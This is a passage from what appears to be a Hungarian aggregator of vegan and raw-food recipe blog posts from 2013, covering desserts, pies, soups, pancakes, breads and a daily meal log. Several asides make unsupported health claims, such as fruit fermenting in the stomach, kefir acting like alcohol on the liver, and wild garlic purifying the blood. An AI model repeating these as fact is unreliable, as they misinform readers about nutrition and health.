hagymát, a fokhagymát, a gyömbért és a paradicsomot késes robotgéppel pürésítjük. Felforrósítjuk az olajat, és megpirítjuk benne néhány másodpercig a fűszereket. Adjuk hozzá a hagymás-paradicsomos pürét és az élesztőpelyhet. Forraljuk fel együtt 2 percig, majd keverjük bele a vörös lencsét és a kókusztejszínt. Főzzük addig, amíg a lencse megpuhul. Ekkor mehet bele a brokkoli, és még 4 percig főzzük. Végül adjuk hozzá a csicserit és a spenótot, facsarjuk rá a citrom levét, szórjuk rá a szezámmagot és a kesudiót. Ehetjük magában, vagy főtt barna rizzsel.
Vegán tejberizses körte
2013. június 19. Mindennapi ételeink
Ez a finomság az új, gyermekeknek írt szakácskönyvembe készült. A könyvről hamarosan írok többet is :-), egyelőre annyit, hogy - reményeim szerint - gyönyörű és tartalmas, nagyon jó és egészséges recepteket tartalmazó lesz :-))) Most egy receptet és fotót osztok meg a 85 receptből + fotóból. Meleg nyári napokon kitűnő desszert! Hozzávalók: 8 db körte 1 l víz 10 dkg nyírfacukor 1,5 citrom leve kis csipet só --- 20 dkg rizs 2 dl víz 1 csipet só 1 l Alpro vaníliás szójatej vagy növényi tej 10 dkg nyírfacukor 1 citrom héja 2 tk. kókuszolaj Elkészítés: A rizst és a vizet tedd egy magas falú edénybe, és folyamatos kavarás mellett, közepes hőfokon, puhítsd fel a rizst a vízben. Amikor elforrt a víz, a rizst sózd meg, és öntsd rá a növényi tejet, illetve add hozzá a kókuszolajat, amely a tejben lévő zsiradékot pótolja. Időnként kevergetés mellett addig főzd a rizst, amíg felissza a növényi tejet, és kellőképp meg - puhul. Keverd bele a citromhéjat, a nyírfacukrot. Ezután lefedve hagyd állni egy órán át. Amíg a rizs pihen, párold meg a körtéket: hámozd meg őket, majd óvatosan, alulról, egy éles késsel vájd ki a magházukat. Vigyázz, hogy a körték egyben maradjanak! Tedd a gyümölcsöket egy nagy lábasba, felöntve annyi vízzel, amennyi ellepi őket, és szórd meg nyírfacukorral, a csipet sóval, locsold meg citromhéjjal. Közepes lángon, lefedve főzd roppanósra a körtéket, kb. 10 perc alatt . Hagyd, hogy a lében hűljenek ki. Amikor teljesen kihűlt a körte és a rizs is, akkor jön a mókás dolog: minden körtét vizes kézzel boríts be a kész tejberizzsel. A legvégén kókuszba is forgathatod.
Káposztás árpa pikáns, magyaros szósszal
Káposzta, káposzta, minden formában Imádom!!! Hozzávalók: 1/2 édes káposzta 1 diónyi kókuszzsír 1 tk tiszta só A káposztát a robotgéppel apróra szeleteltem, besóztam, és picit hagytam állni. Kicsavartam a levét, és rádobtam a lábosban olvadozó kókuszzsírra. Takarék lángon kb. 1/2 óra alatt megpirult Gabona: 1 maréknyi főtt árpás barnarizs 1 tk tiszta só 1 bélyegnyi […]
Fenséges és csinos gyümölcssaláta
Végre elérkezett a meleg nyár és vele együtt a friss gyümölcsök szezonja. Nem is késlekedtem sokáig, egy finom gyümölcssalátát készítettem sárgadinnyében tálalva. Annyira finomra sikerült és olyan jól nézett ki, hogy ismétlés lett belőle. Ajánlom mindenkinek akár reggelire, desszertnek (bár gyümölcsöt nem jó enni étkezés befejeztével, ugyanis mire az előzőleg elfogyasztott étel megemésztődik, a gyümölcs erjedni kezd a gyomorban), gyümölcsvacsorának. Vagy ha valaki "nyers-napot" tart, akkor rendkívül fel tudja dobni vele a napi étel-összeállítást.
A recept:
Hozzávalók:
1 vagy 2 db kisebb sárgadinnye
1 banán
1 marék eper
1 alma
pár db mentalevél
Elkészítés:
A sárgadinnyéket félbevágjuk és kanál segítségével kivágjuk a belsejét úgy, hogy ne sérüljön a külső héj. Ezt követően, ha úgy tetszik, a sárgadinnye szélébe háromszögeket vágva kidíszítjük. A többi gyümölcsöt megmossuk, a banán héját lehúzzuk, az almáét egészségesebb meghagyni. A gyümölcsöket feldaraboljuk - az előzőleg kivájt sárgadinnye húsát is. Az egészet egy tálban összekeverjük és a sárgadinnyék héjába halmozzuk a kész gyümölcssalátát. Mentalevéllel díszítjük. Természetesen az idény bármilyen gyümölcsével elkészíthetjük. Tetszés szerint akár magokkal (dió, mogyoró) vagy kókuszreszelékkel meg is szórhatjuk.
Cukormentes rebarbarás pite
Először készítettem életemben ilyen rebarbarás pitét az almás pite mintájára, annak a receptjét reformosítva.
Nagyon finom lett, ajánlom bátran.
A rebarbarát lehet más gyümölcsökkel is párosítani, úgy különlegesebb ízhatásokat érhetünk el.
Hozzávalók: 50 dkg teljes kiőrlésű tönkölyliszt, kb. 15 dkg kókuszzsír, kb. 1,5 dl sűrűbb mandulatej (vagy egy kis pohár tejföl), 3 evőkanálnyi őrölt lenmag (ez a tojáshelyettesítő), csipet foszfátmentes sütőpor, kb. 10 dkg őrölt xilit (nyírfacukor) + 1-2 kiskanálnyi stevia por ízlés szerint.
Töltelékhez: rebarbara, xilit
Elkészítés: A pitetésztához a hozzávalókat egyszerűen összegyúrjuk, majd két részre osztjuk és kinyújtjuk őket. Az alsó rétegre rátesszük az előzőleg kissé megfőzött és héjától megtisztított rebarbara szárakat, megszórjuk xilittel ízlés szerint, majd rátesszük a pitetészta tetejét. Megszurkáljuk villával és sütőben addig sütjük, míg készen nem lesz.
A tetejét fahéjjal ízesített őrölt xilittel szórtam meg.
Jó étvágyat!
"Pink vargabéles" (vegán)
2013. június 4. Mindennapi ételeink
Gyors, egyszerű, különleges, finom. Ennyit elöljáróban az alábbi sütiről. :-) Hozzávalók: 125 g durum cérnametélt 4 dl Alpro erdei gyümölcsös joghurt 15 dkg natúr tofu 3 ek. búzadara 10 dkg xilit (nyírfacukor) - ízlés szerint 1 ek. kókuszolaj 1/2 citrom héja 2 tk. vanília esszencia mazsola - tetszés és ízlés szerint -- Tante Fanny teljes őrlésű rétestészta Elkészítés: A tésztát kifőzzük. Eközben egy tálba beletöltjük az Alpro szójajoghurtokat (lehet más ízesítésű is, mi most ilyen ízkombinációra vágytunk, de rendkívül finom lehet pl. a trópusi gyümölcsjoghurttal is), majd belemorzsoljuk a tofut, ízesítjük citromhéjjal, vaníliával. Ha a tofut nem sikerül jól eldolgoznunk, botmixerrel is "megdolgozhatjuk". Miután a tészta kihűlt, összekeverjük az öntettel, belekeverjük a mazsolát, búzadarát. Egy réteslapot a kókuszolajjal kikent tepsibe helyezünk, erre ráfolyatjuk a "szószt", majd befedjük a második réteslappal, amelyet a maradék felolvasztott kókuszolajjal megkenünk. Megszórjuk dióval és összesütjük (180 fokon, kb. 20 perc alatt). Miután kihűlt, tálaljuk - friss gyümölcsökkel a tetején :)
Káposztás hajdinagombóckák
Léböjt felvezető napokat tartok, ami annyiból áll, hogy délelőtt levek, ebédre valami könnyű, estére még könnyebb Mivel ennyire hideg van, főzősre vettem a figurát Gombócoz: 1 marék hajdina 3 szem pici új krumpli 1 pici fej újhagyma 1 tk kókuszzsír A krumplit megmossuk, és héjában megfőzzük. A hajdinát is mossuk, és 20 perc alatt ő […]
Banános zabkása meggylekvárral
- Szeretnél úgy kinézni, mint egy japán szumós? Akkor ne reggelizz! - "ÓÓÓ, hát én amúgy sem szoktam reggelizni! Mégsem nézek ki úgy, mint egy szumós!" Még nem nézel ki úgy, örülj neki. Persze, ha jó a genetikád, és az aerob mozgás is jelen van az életedben, akkor nyilván még kevesebb az esélyed arra, hogy szumós méreteket öltesz. De hogy tisztában legyél vele, elárulom, hogy a japán szumósok kihagyják a reggeli étkezést. Miért? Az egyik ok abban áll, hogy tudják, ezzel LASSÍTJÁK az anyagcserét és emésztést, valamint NÖVELIK a TÚLEVÉS lehetőségét. Ez már talán ismerős, nem? Nem reggelizel, a munkahelyen az ebédet még futva megeszed, na de este, amikor otthon vagy a nyugalomban, a családdal, legyűrted a napi stresszt, akkor bizony adsz az éhező szájnak. Csak hogy tudd, ez az egyik - legtöbbek által megvalósított - lépés az egészségtelen HÍZÁShoz vezet. Tudom ám én is! Megtapasztaltam. (Na nem a szumós méreteket ;) ) Dolgoztam néhány olyan multinál, ahol reggel alig ment le egy falat is a torkomon. Tudtam, hogy vár rám a napi stressz a munkában. Sokszor aztán a reggeli elmaradt. Ha mégis reggeliztem, mert valami ok folytán megmordult a gyomrom, akkor is valamilyen péksütit vettem magamhoz - munkába menet, vagy kiflit kefirrel, joghurttal. Majd ahogy vegetáriánus lettem, majd egyre inkább a vegán életmódot kezdtem elsajátítani, úgy változtak ezek a szokásaim is. Aztán jött Elek, az egészségházban eltöltött idő még inkább elősegített a fejlődésben. Most már képtelen lennék kefirt reggelizni, főleg mióta tudom, hogy az éhgyomorra elfogyasztott kefir a máj és a gyomor számára akár olyan hatással is lehet, mint az alkohol. Ráadásul fehér kifli! Ah, rossz rágondolnom, hogy néhány évvel ezelőtt milyen ételekkel romboltam az egészségem tudatlanul! ,,Reggelizz mint egy király, ebédelj mint egy polgár, vacsorázz mint egy koldus! - olvashatjuk sok helyen. Ma már azt is tudom, ha édes reggelivel indítok, kevésbé fogok napközben édességre gondolni, az után vágyakozni. Ez a receptem egy nagyon gyors és egyszerű, de laktató és persze édes reggelihez ad ötletet. Ilyen hurkákat szeretnél magadnak? :) A recept: Hozzávalók: 1 adag zabpehely (pl. 2 marék) víz 1 banán meggylekvár (felcserélhető más lekvárra kevés kókuszreszelék pár csipet őrölt lenmag 1 evőkanál szezámmag Elkészítés: Ha apró szemű zabpelyhünk van, akkor a lábosban, amiben főzni fogjuk, kicsit megpirítjuk. Épp, amíg illata lesz. A kókuszreszelék egy részét is együtt piríthatjuk a zabpehellyel. Majd felöntjük annyi vízzel, amennyi a zabpehely. Figyelve és olykor megkeverve addig főzzük, míg a zabpehely meg puhul. Ha nagy szemű zabpehellyel dolgozunk, akkor ugyanígy megpiríthatjuk, de egy éjszakára akár be is áztathatjuk hideg vízbe. Másnap pedig felfőzzük. Az ilyen zabpelyhek több főzési időt igényelnek. Miután megfőtt, tányérra szervírozzuk és banánkarikákkal befedjük. Mivel a banán és a lekvár édessé varázsolja, nem szükséges főzés során édesíteni. A tetejét egy kevés őrölt lenmaggal, kókuszreszelékkel és szezámmaggal szórjuk meg. Végül kis "lekvárszigeteket" helyezünk el a tetején.
Spenótos zabpalacsinta gombatöltelékkel
2013. május 20. Fittanyuka Blog
A kedvencem lett ez a recept, mert amellett, hogy könnyen emészthető a palacsinta tésztája, laktató és nagyon finom is egyben. Csupa nyári ízek: spenót, kapor, petrezselyem, mind használtam ezeket a zöldeket egyszerre. A palacsinta tésztáját zabliszttel és gluténmentes liszt keverékkel kevertem ki, a zöld színét pedig szárított spenót por adta, amelyet helyettesíthetünk friss spenóttal is, de tény, hogy ez egyszerűbb megoldás. Palacsinta tészta - Hozzávalók: ( kb. 8-10 db palacsinta) 250 g zabliszt, 60 g Glutemix ( gluténmentes liszt keverék), 2 kk himalaya só, kb. 600 ml víz, (folyamatosan veszi fel a vizet, ha túl sűrű a tészta öntsünk hozzá még ), 3 evőkanál kókusz olaj ( 2 evőkanállal a tésztába is tegyünk - 1 evőkanál a sütéshez) 3 kk szárított, porított spenót ( ez adja a zöld színét) , friss, vágott kapor. Gomba töltelék - Hozzávalók: 25 dkg csiperke gomba 2 szál újhagyma 2 cikk fokhagyma pár szál, friss petrezselyem zöldje 2 evőkanál kókusz olaj 1 kk himalaya só késhegynyi őrölt zöld bors késhegynyi őrölt kömény ( segíti a gomba megemésztését) 2 evőkanál zabliszt 1 dl víz Először elkészítjük a tölteléket: A megmosott, tisztított gombákat felaprítjuk és a kókusz olajon a préselt fokhagymával és a felaprított újhagymával megdinszteljük, sózzuk, borsozzuk. Amikor megpuhult kissé a gomba, a hideg vízben csomómentesen elkeverjük a zablisztet és hozzáadjuk a raguhoz, besűrítjük vele, majd utólag fűszerezzük a köménnyel, gazdagítjuk a felaprított petrezselyem zölddel. A palacsinta tészta hozzávalóit összekeverjük, ameddig homogén masszát nem kapunk, gazdagítjuk a friss kaporral. Tapadásmentes, palacsinta sütőben egyenként kisütjük a palacsintákat. Alaposan süssük át mindkét oldalukat. A kisült palacsintákat megtöltjük a töltelékkel, ketté vágjuk és friss salátával tálaljuk! Tipp: Zabliszt és gluténmentes liszt helyett választhatunk világos tönkölylisztet is : 250 g világos tönkölyliszt, 400 - 500 ml víz. Szárított spenót por helyett pedig készíthetjük friss spenóttal is. Ebben az esetben a spenót leveleket ( 1-2 maréknyit) kissé megfonnyasztunk kevés vízben, összeturmixoljuk és ezt adjuk a palacsinta tésztához. Fittanyuka
Kelbimbó-tál
2013. május 15. Mindennapi ételeink
Ismét egy egyszerű, ám mégis laktató recept következik. Köretnek vagy salátának is megfelelő. Az egész úgy indult, hogy ennünk kell a mélyhűtő tartalmát, hiszen hamarosan jönnek az új finomságok. A hűtő legmélyén találtam egy doboz kelbimbót, ezt barátunk kertjéből kaptuk. Hozzávalók: 2 ek. kókuszolaj 2 marék pirított dió 1/2 kg kelbimbó só-ízlés szerint 2 tk. fokhagymapor - igény szerint petrezselyem - igény szerint Elkészítés: A kelbimbót gőz fölött roppanósra pároljuk. Egy serpenyőbben megpirítjuk az apróbb darabokra vágott diót. Egy másik serpenyőben a kókuszolajat felolvasztjuk, és erre helyezzük a megpárolódott kelbimbókat. Összeforgatjuk, sózzuk, petrezselyemmel, fokhagymaporral ízesítjük és rászórjuk a megpirult diót. Frissen tálaljuk, mi grillezett tofut és krumplipürét ettünk hozzá.
Gesztenyés köles
No, ez sem egy nagy bejegyzés lesz, inkább csak ötletelő, emlékeztető jellegű magamnak is. Az ember reggelenként mindig agyal, hogy mit enne, mi az ami hamar elkészül, tápláló, egészséges, és nem mindig egyenkása. Legutóbb a gesztenye jutott eszembe. Lehet kapni cukormenteset a Maronitól. Más cégről nem tudok, de lehet, hogy van. A Spárban mindig szokott lenni. Az édesítőssel az a baj, hogy aszpartamos, ez meg drága. A kölest háromszoros mennyiségű vízben megfőzzük 20 perc alatt. (1/4 bögre/fő) Pici sót, sztíviát adunk hozzá. Esetleg vaníliával, kókuszreszelékkel és citromhéjjal ízesíthetjük. Ha egy pohár szójajoghurtot is hozzáöntünk, komplettált ételt kapunk. Finomabb, ha a végén összeturmixoljuk, de ritkán szoktam. A tetejét megszórjuk gesztenyemasszával, és friss gyümölcsökkel fogyasztjuk.
mogyorós lenmaglisztes kenyér (gluténmentes)
egyre több ismerősöm esik áldozatául a különböző érzékenységeknek, intoleranciáknak, és emiatt elkezdtem foglalkozni ezzel a témával. s bár engem egyik sem érint, elkezdett izgatni a téma. minden ideológiai megtámogatás nélkül szeretek olyan ételeket enni, amik nem terhelik le a szervezetemet, amikkel fontos tápanyagokat viszek be a szervezetembe és nem felesleges műkajákat, mérgeket. persze ezt sem 100%-on, teljes hőfokon nyomom, nem hiszek a szélsőségekben.
ennek a receptnek az alapját barátnőmtől, a fantasztikus hangú emesétől tanultam. egy kicsit variáltam rajta, de rendszeresen megsütöm. általában felváltva a másikkal, így egyiket sem unom meg (nem mintha meg lehetne..). kicsinek tűnik, de ebből egy szelet nem ugyanaz, mint egy adalékanyagokkal felfújt bolti fehér kenyér. (különben is meggyőződésem, hogy túl sok kenyeret eszünk. nem kell ennyit.)
mogyorós lenmaglisztes kenyér
hozzávalók: (egy ekkora őzgerincformához)
150 g lenmagliszt (én az ázsia boltban szoktam venni, nem drága) 100 g mogyoróliszt (finomra darált mogyoró, de nagyon finom mandulaliszttel is) 1 tk sütőpor 1 kk só egy csipet fűszer (oregánó, borsikafű, stb) 2 tojás 150 ml víz (az eredeti recept 4 tojást és 100 ml vizet ír) 1 ek kókuszolaj folyékony állapotban
egy nagy tálban összekevertem a száraz hozzávalókat, egy másikban pedig a nedveseket. hozzáöntöttem a szárazokhoz, hagytam állni 5 percig, majd átkanalaztam a sütőpapírral bélelt formába, és 180 °C-ra előmelegített sütőben 40 perc alatt készre sütöttem. várjuk meg, míg kihűl, és csak akkor szeleteljük fel!
jegyzeteim: lehet változtatni a magliszten, a fűszerezésen, és ha valakinek a zabpehely belefér, lisztté őrölve az is finom kenyérben. finom az is, ha egész, vagy durvára darált magokat is sütünk a kenyérbe, hogy legyen mire ráharapni. próbáltam már tojás nélkül is, csak vízzel, az nem sikerült jól. de kísérletezem tovább!
Vegán rácsos
2013. május 3. Mindennapi ételeink
Olyan egyszerű, hogy tegnap kb. 10 perc alatt összekészítettem és 20 perc alatt kisült. És nagyon-nagyon finom is. Hozzávalók: 25 dkg durumliszt (lehet finomliszt is, vagy fele-fele arányban finom-és teljes őrlésű liszt) 8 dkg nyírfacukor 3 csapott ek. kókuszolaj (vagy 0,5 dkg olaj) 2 ek. foszfátmentes sütőpor kb.0,5 dl víz 1 citrom héja -- 1 közepes üveg sárgabarack lekvár 15 dkg darált dió Elkészítés: A sütemény száraz összetevőit összekeverjük, majd hozzáadjuk a kókuszolajat, olajat, reszelt citromhéjat és a vízzel lágy tésztát gyúrunk. A kétharmadát kinyújtjuk, majd megkenjük lekvárral, megszórjuk a darált dióval. A maradék harmad tésztát is lisztezett felületen kinyújtjuk, és derelyevágóval csíkokat vágunk, és ezzel befedjük a sütit. Közepes lángon 20 perc alatt kisütjük. Az adag tortaformára vonatkozik, amennyiben hagyományos tepsiben készítjük, duplázzuk az adagot. Más lekvárt (pl. eperlekvárt) is használhatunk, sőt, dió helyett mákot is.
Napi étrend április 29-30
2013. április 30. Gitta nyersétel blogja
Sokan kérdezik tőlem, hogy mit eszem reggelire, ebédre, vacsorára... Most egy héten keresztül leírok ide mindent, hogy mit fogyasztok egész nap. 2-3 napot írok le majd 1 posztban. Az étkezésem kb. 90%-ban nyers (ne kérdezzétek, miért eszem grillezett padlizsánt, szeretem!) 2013. április 29 hétfő 6 óra: 2 dl tisztított víz, 1/2 citrommal 7 óra: grapefruit, alma lében 3 banán, 2 szilva és egy marék eper délelőtt 5 dl tisztított víz, és egy marék kesudió (nass) 12 óra: turmix: eper, banán, 2 marék bio spenót, 2 evőkanál nyers hántolt kendermag (ez kb 1 liter volt) 16 óra: saláta tál: saláta, paradicsom, hagyma, grillezett padlizsán, sárgarépa, cukkíni, káposzta saláta, 1 evőkanálnyi főtt bulgur (ezt egy étkezdében ettem, külön nekem állították össze ilyenre, egyedileg, legközelebb lefotózom, olyan szép, színes)(egyébként itt pl a grillezett brokkoli teljesen nyers, ropogós, ugyanígy a grillezett sárgarépa is) 18 óra: 1 liter almás zöld turmix, ez hígabb volt, mint a déli, könnyű, alma+spenót+petrezselyem+tisztított víz 2013 április 30 kedd 6 óra: 3 dl tisztított víz, 1/2 citrom levével 7 óra: grapefruit, alma lében 2 banán egy marék áfonya, 2 evőkanál csíráztatott, szárított lenmag (ABY) délelőtt 6 dl tisztított víz 12 óra: 1/2 adag kókuszos narancsleves narancs darabkákkal, 1/2 adag görög saláta mandula sajttal, 4 szelet lenmagos ropogós kenyérrel, 1/2 adag epres-banános palacsinta délután 5 dl pí víz, vegyes sós aszalványok (kóstolásképpen, egy beszélgetés közben nassoltunk) 17 óra: 1 liter epres-banános-kendermagos-spenótos sűrű turmix (a színe borzasztó volt, de az íze fantasztikus) este még egy-két pohár citromos víz (tisztított víz)
Kapor leves
2013. április 28. Fittanyuka Blog
Ha szeretitek a leveseket akkor ajánlom az alábbi receptet: nyáron, meleg időben egy ilyen könnyű, gyors levessel feldobhatjuk az ebédünket! Hozzávalók: 4 fő részére 1 evőkanál kókusz olaj 3-4 evőkanál világos tönköly liszt fél maréknyi kapor összevágva 1 db bio leves kocka 1 l víz 1 kk himalaya só 150 ml kókusz tejszín A kókusz olajat felmelegítjük, bele tesszük a vágott kaprot, a lisztet és csomómentesre keverjük, lassan hozzáadagoljuk, állandó keverés mellett a hideg vizet, a leves kockát és felforraljuk, majd hozzáadjuk a tejszínt. Tálaláskor még megszórjuk friss kaporral! Fittanyuka
Mangókrémleves chilivel és kókusszal
2013. április 24. La Veganista
Idén úgy tört ránk a nyár, hogy szinte még tavasz sem volt. Az előrejelzések szerint, április utolsó hétvégéjén már 29 fokra kúszik a hőmérő higanyszála. A hirtelen jött hőségben fantasztikus felfrissülést hozhat egy pikáns, tropikus stílusban elkészített gyümölcsleves, amihez még a tűzhelyet sem kell bekapcsolni.
Hozzávalók:
- 2 db érett mangó
- 2-2,5 dl kókusztej
- 1 teáskanálnyi reszelt gyömbér (vagy 1/2 tk őrölt gyömbér)
- 1 teáskanál chili krém (ízlés szerint lehet csökkenteni, vagy növelni a mennyiséget)
- 1 evőkanálnyi felaprított menta levél
- 3 dl víz
Tálaláshoz:
- 1-2 teáskanál ízesítetlen szója joghurt
- egész menta levél
Így készítsd el:
Hámozzuk meg a mangókat és a húsukat válasszuk le a magjukról, majd szeleteljük nagyobb kockákra. Tegyük a mixerbe, és adjuk hozzá a kókusztejet (egy frissen felnyitott kókuszdió egyik feléből kivájt koprát, illetve a dióban lévő tejet használtam a recepthez), a gyömbért, a chili krémet, az apróra vágott mentaleveleket és a vizet. Mixeljük össze alaposan, majd tegyük hűtőbe egy órára. Tálaláskor díszítsük egy kanálnyi szója joghurttal és mentalevéllel.
Nyers Tavaszi tekercs - Curry krémmel
2013. április 20. Fittanyuka Blog
A héten mind olyan ételek receptjeit osztottam meg, amelyek fő összetevői a nyers zöldségek. Egyik oka, hogy az időjárás melegre fordult, ilyenkor kevésbé van szükségünk fűtő hatású ételekre, másrészről pedig elkezdődött a tavaszi méregtelenítés. A zöldségek igazából a legbázikusabb ételek, itt a tavasz éljünk velük! A minap pedig saláta helyett ezt a mártogatós variációt vacsoráztuk. Hozzávalók: Mennyiséget nem írok, mert könnyű kiszámítani, hogy hány főre mennyi tekercset szeretnénk készíteni. Rizslapok Cukkini, Uborka zöldhagyma petrezselyem zöld Tehetünk bele még tofut, én tönkölyfehérjét vágtam hosszanti csíkokra és kevés olajon picit megrilleztem őket. Curry krém: 1-2 kk curry paszta készen 200 ml növényi tejszín ( szója vagy kókusztejszínt javaslom, mert igazán krémes tejszínek) késhegyni himalaya só Elkészítése pofon egyszerű: A rizslapokat leginkább keleti boltokban tudjátok beszerezni, rizs lisztet és vizet tartalmaz csupán. Annyi vizet melegítünk amennyi ellepi őket, ráöntjük és hagyjuk 5-8 percet állni. Közben a zöldségeket hosszanti csíkokra vágjuk. Majd egyenként szétválasztjuk a rizslapokat egy ruhára fektetjük tekercselés előtt és, mint a töltött káposztát ahogy tekerjük, belecsomagoljuk a zöldségeket. Elkészítjük a krémet: Curry paszta - szintén keleti boltban kapható, olyat válasszatok amely nem tartalmaz adalékokat, sikerült olyat vásárolnom, amely csak aszkorbinsavval volt tartósítva. 1 kk curry pasztát elkeverünk 200 ml növényi tejszínnel, picit sózzuk, belefacsarjuk a citromlevet és alaposan elkeverjük. Tálaljuk a tányéron középen elhelyezett krémmel. Vendég kínálónak is ideális.Fittanyuka
Vegán pásztorpite
2013. április 16. Mindennapi ételeink
Nagyon finom egytálétel, ajánlom mindenkinek. És jó hír: lehetetlen elrontani :-) Hozzávalók: 50 dkg burgonya 1 ek. kókuszolaj (vagy olívaolaj) 1 dl kukoricatej 1csokor petrezselyem 1 póréhagyma só-ízlés szerint -- 1 fej vöröshagyma 4 gerezd fokhagyma 25 dkg mirelit zöldség (miénkben volt: karfiol, brokkoli, répa, borsó) 2 ek. 100% extra szűz olívaolaj 3 ek. víz 2-3 tk.majoranna 1tk.köménymag kb.1,5 ek.pirospaprika kb. 5 dkg gabonakolbász só-ízlés szerint 2 ek. kukoricakeményítő Elkészítés: A krumplit meghámozzuk, felkockázzuk és sós vízben megfőzzük.Majd leszűrjük,és a zsiradék, és növényi tej hozzáadásával krumplipürét készítünk belőle. Petrezselyemmel és nagyon apróra vágott póréhagymával ízesítjük, majd félretesszük. Arra figyeljünk, hogy ne legyen túl puha a püré. Elkészítjük a belevalót is: az apróra vágott hagymát olaj és víz keverékén megpároljuk. Erre rátesszük a zöldségeket, majorannával, köménnyel és fokhagymával, sóval ízesítjük, pirospaprikával színezzük.Felengedjük annyi vízzel, amennyi ellepi. Amikor roppanósra párolódott, kiveszünk 4-5 ek. levet, melybe a keményítőt belekeverjük, és ezt visszaöntjük. Amikor jól besűrűsödött, hozzáadjuk a szétmorzsolt gabonakolbászt és 1-2 perc főzés után lezárjuk. Egy közepes tepsit kiolajozunk, beletesszük alulra a püré felét, ráterítjük az egész zöldségpörköltöt, majd befedjük pürével. Megszórjuk magokkal, és 190 fokon kb.30 perc alatt összesütjük. Mi salátával ettük.
Vegán császármorzsa 2.
2013. április 15. Mindennapi ételeink
Ismét császármorzsára vagy más néven smarnira vágytunk, így kikísérleteztem egy új receptet. Hozzávalók: 10 dkg búzadara 1dkg liszt 1dkg kukoricaliszt 1 citrom héja vaníliapor 10 dkg nyírfacukor 3dl vaníliás szójatej 1 ek. sárga lenmagpehely mazsola-ízlés szerint -- 2 ek. kókuszolaj -- Alpro gyümölcsös szójajoghurtok Elkészítés: A búzadarát, liszteket (a kukoricaliszt ad szép színt neki) ,nyírfacukrot kimérjük, és összekeverjük a vaníliás tejjel. (Lehet más növényi tejet is használnunk, csak ez extra finom ízt és színt ad neki). Hozzáreszeljük a citromhéjat, beletesszük a darált lenmagot (lehet barna lenmag is). 1 órát pihentetjük,majd egy tepsiben megolvasztunk kókuszolajat, ebbe öntjük a masszát, és néha megkeverve kisütjük. Szójajoghurttal, lekvárral tálaljuk.
A zöld pogácsa
2013. április 12. La Veganista
Van egy erdei növény, amelyért ölre mennek a jó ízlésű barnamedvék és a vaddisznók. Talán ösztönösen érzik, hogy kellemesen fokhagymás illata, és enyhén csípős íze mellett számtalan jó hatása van. Többek közt segíti az emésztést, regenerálja a veséket, vértisztító, oldja a hurutos köhögést, csökkenti a vérnyomást, enyhíti a szédülést. Ez a kicsi növény beküzdötte magát a konyhába is, ahol annyira megkedvelték, hogy ma már fesztivált is rendeznek a tiszteletére. Hétvégén Orfűn (04.13-14.) ünneplik meg ezt a sokoldalú amariliszfélét, amiből főzeléket, levest, pestot, medvehagymás bort, mézet és esszenciát is készítenek. Én egy veganizált, brutálisan medvehagymás pogácsa variáció mellett döntöttem. Limara oldalán találtam meg az alapreceptet, ami megoldaná egy kisebb hadsereg élelmezési gondjait, ezért minden hozzávalót feleztem. Így is 50 db pogácsát szúrtam ki egy snapszos pohárral. (Ez a standard pogácsa szaggatóm.) Ami a receptet illeti, nem egy diétás darab, de a legelvakultabb fogyókúrázóknak is érdemes tartaniuk miatta egy csaló napot.
Hozzávalók:
- 500g finomliszt
- 250g margarin
- 185g szója joghurt
- 1 evőkanál só
- 1 teáskanál cukor
- 1 csomag instant élesztő
- 6g kókusz zsír
- 0,5 dl langyos víz
- 1 marék medvehagyma
Így készítsd el:
Az élesztőt és a cukrot elegyítsük a langyos vízzel egy pohárban. Miközben az élesztő felfut keverjük el a sót a lisztben, és morzsoljuk össze a liszttel a margarint. Csorgassuk a szója joghurtot a margarinos lisztre, majd az élesztőt is adjuk hozzá. Gyúrjuk össze a tésztát és pihentessük lefedve félóráig. Amíg pihen a tészta, a kókuszzsírt és a medvehagymát mixerrel krém állagúra homogenizáljuk. A tésztát téglalap alakúra és vékonyra nyújtjuk. Megkenjük medvehagyma krémmel. Ezután képzeletben három részre osztjuk és a jobb és baloldali harmadot ráhajtjuk a középső harmadra. A tésztát elfordítjuk 90°-kal és ismét megkenjük a zöld krémmel, majd félbehajtjuk. Újabb harminc perces pihenő következik, azután ismét elvégezzük a kenést és a hajtogatást. (Ha ragadni akar a tészta, akkor egy kis liszttel segíthetünk rajta, de alapvetően könnyű vele dolgozni.) Az utolsó hajtás után, az ujjnyi vastagra nyújtott tésztából kiszaggatjuk a pogácsákat és sütőpapírral kibélelt tepsiben újabb félóráig pihentetjük. Semmivel nem kentem meg a tetejüket, viszont így is kellemes színt kaptak 15-20 perc alatt a 200 °C-ra előmelegített sütőben.Sütés közben az egész konyhát meg a lakást átjárja a medvehagyma fokhagymás illata, de acélozd meg az akaratod, hogy ne nyisd ki a idő előtt a sütő ajtaját. Tudom, hogy első olvasásra macerásnak tűnik, de megéri a fáradtságot. A puha, forró pogácsák ízletesek, vegán kompatibilisek, és versenyképesek bármelyik cukrászda kreációjával.
Vegán linzer 2.
2013. április 10. Mindennapi ételeink
Tegnap Nóránál olvasgattam és bukkantam rá erre a receptre, melyet kisebb módosításokat követően hamar el is készítettem :-) Sütéssel együtt 30 perc alatt elkészül. 48 db lesz belőle! :-) Hozzávalók: 10 dkg finomliszt 10 dkg teljes kiőrlésű liszt fél tasak foszfátmentes sütőpor 10 dkg nyírfacukor 1/2 citrom leve kb. 3 ek. lenmag 12 dkg kókuszzsír kb. 1/4 dl víz -- Tetszés szerinti lekvár, nálunk pirosribizli Elkészítés: A tészta hozzávalóit összedolgozzuk (előbb a száraz, majd a nedves hozzávalókat), majd lisztezett felületen kinyújtjuk, kb. 1/2 cm vastagságúra és tetszőleges formákat szaggatunk. A linzerek tetejét megkenjük egy kevés vízzel és darált dióba forgatjuk a vizes részüket. Sütőpapírral bélelt tepsibe téve 160 fokon kb. 10 perc alatt készre sütjük. Lekvárral megkenjük a linzerek alját, majd rátesszük a lyukacsos részüket is.
Tofus brokkolipástétom
2013. április 9. Mindennapi ételeink
